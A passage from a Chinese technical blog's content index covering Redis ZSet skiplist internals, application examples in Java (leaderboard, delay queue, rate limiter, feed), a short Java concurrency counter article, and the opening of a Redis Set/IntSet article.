class="keyword">for</span> (i = level; i &lt; zsl-&gt;level; i++) &#123;</span><br><span class="line">        update[i]-&gt;level[i].span++;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 6. 设置后退指针</span></span><br><span class="line">    x-&gt;backward = (update[<span class="number">0</span>] == zsl-&gt;header) ? <span class="literal">NULL</span> : update[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">if</span> (x-&gt;level[<span class="number">0</span>].forward)</span><br><span class="line">        x-&gt;level[<span class="number">0</span>].forward-&gt;backward = x;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        zsl-&gt;tail = x;</span><br><span class="line">    </span><br><span class="line">    zsl-&gt;length++;</span><br><span class="line">    <span class="keyword">return</span> x;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-7-span（跨度）的作用"><a href="#2-7-span（跨度）的作用" class="headerlink" title="2.7 span（跨度）的作用"></a>2.7 span（跨度）的作用</h2><p>span记录当前节点到forward节点之间跳过了多少个节点：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Level 2:  head ──────────────────&gt;  40</span><br><span class="line">           span=3                    </span><br><span class="line">           （跳过了3个level0节点）</span><br><span class="line"></span><br><span class="line">Level 1:  head ──────────&gt;  30 ───&gt;  40</span><br><span class="line">           span=2              span=1</span><br><span class="line">           </span><br><span class="line">Level 0:  head ──&gt; 10 ──&gt; 20 ──&gt; 30 ──&gt; 40</span><br><span class="line">           span=1  span=1  span=1  span=1</span><br><span class="line"></span><br><span class="line">获取排名：</span><br><span class="line">ZRANK key 40 = 1+1+1 = 3（从0开始）</span><br></pre></td></tr></table></figure><h2 id="三、哈希表的作用"><a href="#三、哈希表的作用" class="headerlink" title="三、哈希表的作用"></a>三、哈希表的作用</h2><p>#</p><h2 id="3-1-为什么需要哈希表"><a href="#3-1-为什么需要哈希表" class="headerlink" title="3.1 为什么需要哈希表"></a>3.1 为什么需要哈希表</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">zset</span> &#123;</span></span><br><span class="line">    dict *dict;           <span class="comment">// member -&gt; score 的哈希表</span></span><br><span class="line">    zskiplist *zsl;       <span class="comment">// 跳表</span></span><br><span class="line">&#125; zset;</span><br></pre></td></tr></table></figure><p>SkipList按score排序，但查找特定member需要O(n)。哈希表提供O(1)的member查找。</p><p>#</p><h2 id="3-2-两种结构的配合"><a href="#3-2-两种结构的配合" class="headerlink" title="3.2 两种结构的配合"></a>3.2 两种结构的配合</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">操作          使用结构          原因</span><br><span class="line">─────────────────────────────────────────────</span><br><span class="line">ZADD          两者都用          插入到跳表，更新哈希表</span><br><span class="line">ZSCORE        哈希表            O(1)获取score</span><br><span class="line">ZRANK         跳表              按score排序</span><br><span class="line">ZRANGE        跳表              范围查询</span><br><span class="line">ZREM          两者都用          从两个结构中删除</span><br><span class="line">ZINCRBY       两者都用          修改score</span><br><span class="line">ZCARD         跳表length        O(1)</span><br></pre></td></tr></table></figure><h2 id="四、ZSet命令实现"><a href="#四、ZSet命令实现" class="headerlink" title="四、ZSet命令实现"></a>四、ZSet命令实现</h2><p>#</p><h2 id="4-1-ZADD"><a href="#4-1-ZADD" class="headerlink" title="4.1 ZADD"></a>4.1 ZADD</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">zaddCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *key = c-&gt;argv[<span class="number">1</span>];</span><br><span class="line">    robj *zobj = lookupKeyWrite(c-&gt;db, key);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 创建或获取ZSet</span></span><br><span class="line">    <span class="keyword">if</span> (zobj == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        zobj = createZsetObject();  <span class="comment">// 创建skiplist+hashtable</span></span><br><span class="line">        dbAdd(c-&gt;db, key, zobj);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 添加元素</span></span><br><span class="line">    <span class="type">int</span> added = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">2</span>; j &lt; c-&gt;argc; j += <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="type">double</span> score = strtod(c-&gt;argv[j]-&gt;ptr, <span class="literal">NULL</span>);</span><br><span class="line">        sds ele = c-&gt;argv[j+<span class="number">1</span>]-&gt;ptr;</span><br><span class="line">        </span><br><span class="line">        <span class="type">int</span> retval = zsetAdd(zobj, score, ele, &amp;added);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    addReplyLongLong(c, added);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-ZRANK"><a href="#4-2-ZRANK" class="headerlink" title="4.2 ZRANK"></a>4.2 ZRANK</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">zrankCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *zobj = lookupKeyReadOrReply(c, c-&gt;argv[<span class="number">1</span>], shared.null[c-&gt;resp]);</span><br><span class="line">    <span class="keyword">if</span> (zobj == <span class="literal">NULL</span> || checkType(c, zobj, OBJ_ZSET)) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 先查哈希表获取score</span></span><br><span class="line">    <span class="type">double</span> score;</span><br><span class="line">    <span class="keyword">if</span> (zsetScore(zobj, c-&gt;argv[<span class="number">2</span>]-&gt;ptr, &amp;score) == C_ERR) &#123;</span><br><span class="line">        addReplyNull(c);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 在跳表中查找排名</span></span><br><span class="line">    <span class="type">long</span> rank = zsetRank(zobj, c-&gt;argv[<span class="number">2</span>]-&gt;ptr, score, <span class="number">1</span>);</span><br><span class="line">    addReplyLongLong(c, rank);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-ZRANGE"><a href="#4-3-ZRANGE" class="headerlink" title="4.3 ZRANGE"></a>4.3 ZRANGE</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">zrangeCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *zobj = lookupKeyReadOrReply(c, c-&gt;argv[<span class="number">1</span>], shared.emptyarray);</span><br><span class="line">    <span class="keyword">if</span> (zobj == <span class="literal">NULL</span> || checkType(c, zobj, OBJ_ZSET)) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">long</span> start, end;</span><br><span class="line">    getLongFromObjectOrReply(c, c-&gt;argv[<span class="number">2</span>], &amp;start, <span class="literal">NULL</span>);</span><br><span class="line">    getLongFromObjectOrReply(c, c-&gt;argv[<span class="number">3</span>], &amp;end, <span class="literal">NULL</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 处理负数索引</span></span><br><span class="line">    <span class="type">long</span> llen = zsetLength(zobj);</span><br><span class="line">    <span class="keyword">if</span> (start &lt; <span class="number">0</span>) start = llen + start;</span><br><span class="line">    <span class="keyword">if</span> (end &lt; <span class="number">0</span>) end = llen + end;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 遍历跳表指定范围</span></span><br><span class="line">    zset *zs = zobj-&gt;ptr;</span><br><span class="line">    zskiplistNode *ln = zs-&gt;zsl-&gt;header-&gt;level[<span class="number">0</span>].forward;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 跳到start位置</span></span><br><span class="line">    <span class="keyword">while</span> (start-- &amp;&amp; ln) ln = ln-&gt;level[<span class="number">0</span>].forward;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 输出范围内的元素</span></span><br><span class="line">    addReplyArrayLen(c, rangelen);</span><br><span class="line">    <span class="keyword">while</span> (rangelen-- &amp;&amp; ln) &#123;</span><br><span class="line">        addReplyBulkCBuffer(c, ln-&gt;ele, sdslen(ln-&gt;ele));</span><br><span class="line">        <span class="keyword">if</span> (withscores) addReplyDouble(c, ln-&gt;score);</span><br><span class="line">        ln = ln-&gt;level[<span class="number">0</span>].forward;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、应用场景"><a href="#五、应用场景" class="headerlink" title="五、应用场景"></a>五、应用场景</h2><p>#</p><h2 id="5-1-排行榜"><a href="#5-1-排行榜" class="headerlink" title="5.1 排行榜"></a>5.1 排行榜</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LeaderboardService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LEADERBOARD</span> <span class="operator">=</span> <span class="string">&quot;leaderboard:weekly&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 增加积分</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addScore</span><span class="params">(Long userId, <span class="type">double</span> score)</span> &#123;</span><br><span class="line">        redis.opsForZSet().incrementScore(LEADERBOARD, String.valueOf(userId), score);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取前10名</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;ZSetOperations.TypedTuple&lt;String&gt;&gt; getTop10() &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForZSet().reverseRangeWithScores(LEADERBOARD, <span class="number">0</span>, <span class="number">9</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取用户排名（从0开始）</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getRank</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">rank</span> <span class="operator">=</span> redis.opsForZSet().reverseRank(LEADERBOARD, String.valueOf(userId));</span><br><span class="line">        <span class="keyword">return</span> rank != <span class="literal">null</span> ? rank + <span class="number">1</span> : <span class="literal">null</span>;  <span class="comment">// 转为1-based</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取用户积分</span></span><br><span class="line">    <span class="keyword">public</span> Double <span class="title function_">getScore</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForZSet().score(LEADERBOARD, String.valueOf(userId));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取用户附近排名</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;ZSetOperations.TypedTuple&lt;String&gt;&gt; getNearbyRank(Long userId) &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">rank</span> <span class="operator">=</span> redis.opsForZSet().reverseRank(LEADERBOARD, String.valueOf(userId));</span><br><span class="line">        <span class="keyword">if</span> (rank == <span class="literal">null</span>) <span class="keyword">return</span> Collections.emptySet();</span><br><span class="line">        </span><br><span class="line">        <span class="type">long</span> <span class="variable">start</span> <span class="operator">=</span> Math.max(<span class="number">0</span>, rank - <span class="number">5</span>);</span><br><span class="line">        <span class="type">long</span> <span class="variable">end</span> <span class="operator">=</span> rank + <span class="number">5</span>;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForZSet().reverseRangeWithScores(LEADERBOARD, start, end);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 重置排行榜</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">resetLeaderboard</span><span class="params">()</span> &#123;</span><br><span class="line">        redis.delete(LEADERBOARD);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-延时队列"><a href="#5-2-延时队列" class="headerlink" title="5.2 延时队列"></a>5.2 延时队列</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DelayQueue</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 添加延时任务</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addDelayTask</span><span class="params">(String taskId, <span class="type">long</span> delayMs)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">executeTime</span> <span class="operator">=</span> System.currentTimeMillis() + delayMs;</span><br><span class="line">        redis.opsForZSet().add(<span class="string">&quot;delay:queue&quot;</span>, taskId, executeTime);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 消费到期任务</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 1000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">consumeDelayTasks</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">now</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取到期的任务（score &lt;= now）</span></span><br><span class="line">        Set&lt;String&gt; tasks = redis.opsForZSet()</span><br><span class="line">            .rangeByScore(<span class="string">&quot;delay:queue&quot;</span>, <span class="number">0</span>, now, <span class="number">0</span>, <span class="number">100</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (String taskId : tasks) &#123;</span><br><span class="line">            <span class="comment">// 删除并处理（保证幂等）</span></span><br><span class="line">            <span class="type">Long</span> <span class="variable">removed</span> <span class="operator">=</span> redis.opsForZSet().remove(<span class="string">&quot;delay:queue&quot;</span>, taskId);</span><br><span class="line">            <span class="keyword">if</span> (removed != <span class="literal">null</span> &amp;&amp; removed &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                processTask(taskId);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">processTask</span><span class="params">(String taskId)</span> &#123;</span><br><span class="line">        <span class="comment">// 处理任务</span></span><br><span class="line">        System.out.println(<span class="string">&quot;Processing task: &quot;</span> + taskId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-滑动窗口限流"><a href="#5-3-滑动窗口限流" class="headerlink" title="5.3 滑动窗口限流"></a>5.3 滑动窗口限流</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SlidingWindowRateLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String userId, <span class="type">int</span> maxRequests, <span class="type">long</span> windowMs)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;rate_limit:&quot;</span> + userId;</span><br><span class="line">        <span class="type">long</span> <span class="variable">now</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">long</span> <span class="variable">windowStart</span> <span class="operator">=</span> now - windowMs;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 移除窗口外的请求记录</span></span><br><span class="line">        redis.opsForZSet().removeRangeByScore(key, <span class="number">0</span>, windowStart);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取当前窗口内的请求数</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">count</span> <span class="operator">=</span> redis.opsForZSet().zCard(key);</span><br><span class="line">        <span class="keyword">if</span> (count != <span class="literal">null</span> &amp;&amp; count &gt;= maxRequests) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 记录本次请求（使用雪花ID或UUID保证member唯一）</span></span><br><span class="line">        redis.opsForZSet().add(key, UUID.randomUUID().toString(), now);</span><br><span class="line">        redis.expire(key, windowMs / <span class="number">1000</span> + <span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-时间线-Feed流"><a href="#5-4-时间线-Feed流" class="headerlink" title="5.4 时间线/Feed流"></a>5.4 时间线/Feed流</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FeedService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 发布内容（score为发布时间戳）</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postContent</span><span class="params">(Long userId, String contentId)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">timestamp</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        redis.opsForZSet().add(<span class="string">&quot;feed:user:&quot;</span> + userId, contentId, timestamp);</span><br><span class="line">        redis.opsForZSet().removeRange(<span class="string">&quot;feed:user:&quot;</span> + userId, <span class="number">0</span>, -<span class="number">1001</span>);  <span class="comment">// 保留1000条</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取最新内容（分页）</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getFeed</span><span class="params">(Long userId, <span class="type">int</span> page, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">start</span> <span class="operator">=</span> (<span class="type">long</span>) page * size;</span><br><span class="line">        <span class="type">long</span> <span class="variable">end</span> <span class="operator">=</span> start + size - <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForZSet().reverseRange(<span class="string">&quot;feed:user:&quot;</span> + userId, start, end);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取某时间范围内的内容</span></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getFeedByTimeRange</span><span class="params">(Long userId, <span class="type">long</span> startTime, <span class="type">long</span> endTime)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForZSet().reverseRangeByScore(</span><br><span class="line">            <span class="string">&quot;feed:user:&quot;</span> + userId, startTime, endTime);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、性能优化"><a href="#六、性能优化" class="headerlink" title="六、性能优化"></a>六、性能优化</h2><p>#</p><h2 id="6-1-ZSet大小控制"><a href="#6-1-ZSet大小控制" class="headerlink" title="6.1 ZSet大小控制"></a>6.1 ZSet大小控制</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 只保留最新的N条</span></span><br><span class="line">redis.opsForZSet().removeRange(<span class="string">&quot;zset&quot;</span>, <span class="number">0</span>, -<span class="number">1001</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定期清理过期数据</span></span><br><span class="line">redis.opsForZSet().removeRangeByScore(<span class="string">&quot;zset&quot;</span>, <span class="number">0</span>, System.currentTimeMillis() - <span class="number">86400000</span>);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-批量操作"><a href="#6-2-批量操作" class="headerlink" title="6.2 批量操作"></a>6.2 批量操作</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 批量添加</span></span><br><span class="line">Set&lt;ZSetOperations.TypedTuple&lt;String&gt;&gt; tuples = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line"><span class="keyword">for</span> (UserScore us : userScores) &#123;</span><br><span class="line">    tuples.add(<span class="keyword">new</span> <span class="title class_">DefaultTypedTuple</span>&lt;&gt;(us.getUserId().toString(), us.getScore()));</span><br><span class="line">&#125;</span><br><span class="line">redis.opsForZSet().add(<span class="string">&quot;leaderboard&quot;</span>, tuples);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-避免大ZSet"><a href="#6-3-避免大ZSet" class="headerlink" title="6.3 避免大ZSet"></a>6.3 避免大ZSet</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 大ZSet分片</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addToShardZSet</span><span class="params">(String key, String member, <span class="type">double</span> score)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> member.hashCode() % <span class="number">10</span>;</span><br><span class="line">    redis.opsForZSet().add(key + <span class="string">&quot;:&quot;</span> + shard, member, score);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-ZSet最大元素数"><a href="#7-1-ZSet最大元素数" class="headerlink" title="7.1 ZSet最大元素数"></a>7.1 ZSet最大元素数</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">理论限制：约40亿（2^32 - 1）</span><br><span class="line">实际限制：内存大小</span><br><span class="line"></span><br><span class="line">建议：单个ZSet不超过10000个元素</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-score相同时的排序"><a href="#7-2-score相同时的排序" class="headerlink" title="7.2 score相同时的排序"></a>7.2 score相同时的排序</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># score相同时，按member的字典序排序</span></span><br><span class="line">ZADD myzset 1 <span class="string">&quot;b&quot;</span></span><br><span class="line">ZADD myzset 1 <span class="string">&quot;a&quot;</span></span><br><span class="line">ZRANGE myzset 0 -1</span><br><span class="line"><span class="comment"># 返回: a, b（字典序）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-分数精度"><a href="#7-3-分数精度" class="headerlink" title="7.3 分数精度"></a>7.3 分数精度</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Redis使用double存储score，有精度限制</span></span><br><span class="line">ZADD myzset 9007199254740992 <span class="string">&quot;a&quot;</span></span><br><span class="line">ZADD myzset 9007199254740993 <span class="string">&quot;b&quot;</span></span><br><span class="line"><span class="comment"># 这两个分数可能被视为相同</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解决：使用整数score（如时间戳*1000 + 序列号）</span></span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>特性</th><th>SkipList</th></tr></thead><tbody><tr><td>查找</td><td>O(log n)</td></tr><tr><td>插入</td><td>O(log n)</td></tr><tr><td>删除</td><td>O(log n)</td></tr><tr><td>范围查询</td><td>O(log n + m)</td></tr><tr><td>实现复杂度</td><td>低</td></tr></tbody></table><p>ZSet核心设计：</p><ul><li><strong>SkipList</strong>：按score排序，支持范围查询和排名</li><li><strong>Hashtable</strong>：按member查找，O(1)获取score</li><li><strong>双向链表</strong>：支持倒序遍历</li></ul><p>ZSet使用建议：</p><ol><li><strong>score设计</strong>：使用整数避免精度问题</li><li><strong>控制大小</strong>：定期清理，避免无限增长</li><li><strong>批量操作</strong>：减少网络往返</li><li><strong>范围查询优先</strong>：ZRANGE比ZRANK更高效</li><li><strong>考虑Stream</strong>：需要消费者组时用Stream替代延时队列</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="线程池参数如何设置才靠谱"><a href="#线程池参数如何设置才靠谱" class="headerlink" title="线程池参数如何设置才靠谱"></a>线程池参数如何设置才靠谱</h1><p>线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis Set与IntSet编码</title>
      <link href="//redis-set-intset-encoding/"/>
      <url>//redis-set-intset-encoding/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-Set与IntSet编码"><a href="#Redis-Set与IntSet编码" class="headerlink" title="Redis Set与IntSet编码"></a>Redis Set与IntSet编码</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Set的编码方式"><a href="#一、Set的编码方式" class="headerlink" title="一、Set的编码方式"></a>一、Set的编码方式</h2><p>#</p><h2 id="1-1-两种编码"><a href="#1-1-两种编码" class="headerlink" title="1.1 两种编码"></a>1.1 两种编码</h2><table><thead><tr><th>编码</th><th>结构</th><th>适用条件</th></tr></thead><tbody><tr><td>intset</td><td>整数数组</td><td>元素都是整数且数量少</td></tr><tr><td>hashtable</td><td>哈希表</td><td>元素非整数或数量多</td></tr></tbody></table><p>#</p><h2 id="1-2-编码转换条件"><a href="#1-2-编码转换条件" class="headerlink" title="1.2 编码转换条件"></a>1.2 编码转换条件</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 默认配置</span><br><span class="line">set-max-intset-entries 512    # intset最多512个元素</span><br></pre></td></tr></table></figure><p>转换规则：</p><ul><li>元素都是整数且数量&lt;=512：使用intset</li><li>任一条件不满足：转换为hashtable</li><li>转换单向：intset → hashtable后不回退</li></ul><h2 id="二、IntSet详解"><a href="#二、IntSet详解" class="headerlink" title="二、IntSet详解"></a>二、IntSet详解</h2><p>#</p><h2 id="2-1-结构设计"><a href="#2-1-结构设计" class="headerlink" title="2.1 结构设计"></a>2.1 结构设计</h2><p>IntSet是紧凑的整数数组：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span 